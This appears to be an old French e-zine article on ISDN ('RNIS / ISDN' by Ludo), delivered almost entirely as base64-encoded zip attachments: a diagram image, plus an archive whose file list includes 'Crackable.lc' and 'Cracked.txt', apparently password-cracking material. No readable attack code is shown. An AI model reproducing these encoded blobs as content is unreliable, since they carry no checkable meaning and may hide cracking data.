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 UEsFBgAAAAAHAAcAjgEAACVIAAAAAA== tobozo@biosys.net ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ _ ______________________ _ -*8*- `^°*;:,.> RNIS / ISDN <.,:;*°^` _____________________________/¯¯¯¯¯¯ By Ludo ¯¯¯¯¯¯¯\___________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ Il s'agit d'un vieil article (il remonte a plus de trois ans) qui n'a toujours pas perdu de son actualité. Et comme on adore le mime, on vous en ressert une tartine . .. Blah blah blah avec ton encodeur tu encoderas et avec ton decodeur decoderas ... Content-Type: application/x-zip-compressed; name="rnis-numeris.zip" Content-Transfer-Encoding: base64 Content-Disposition: package ; filename="rnis-numeris.zip" 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 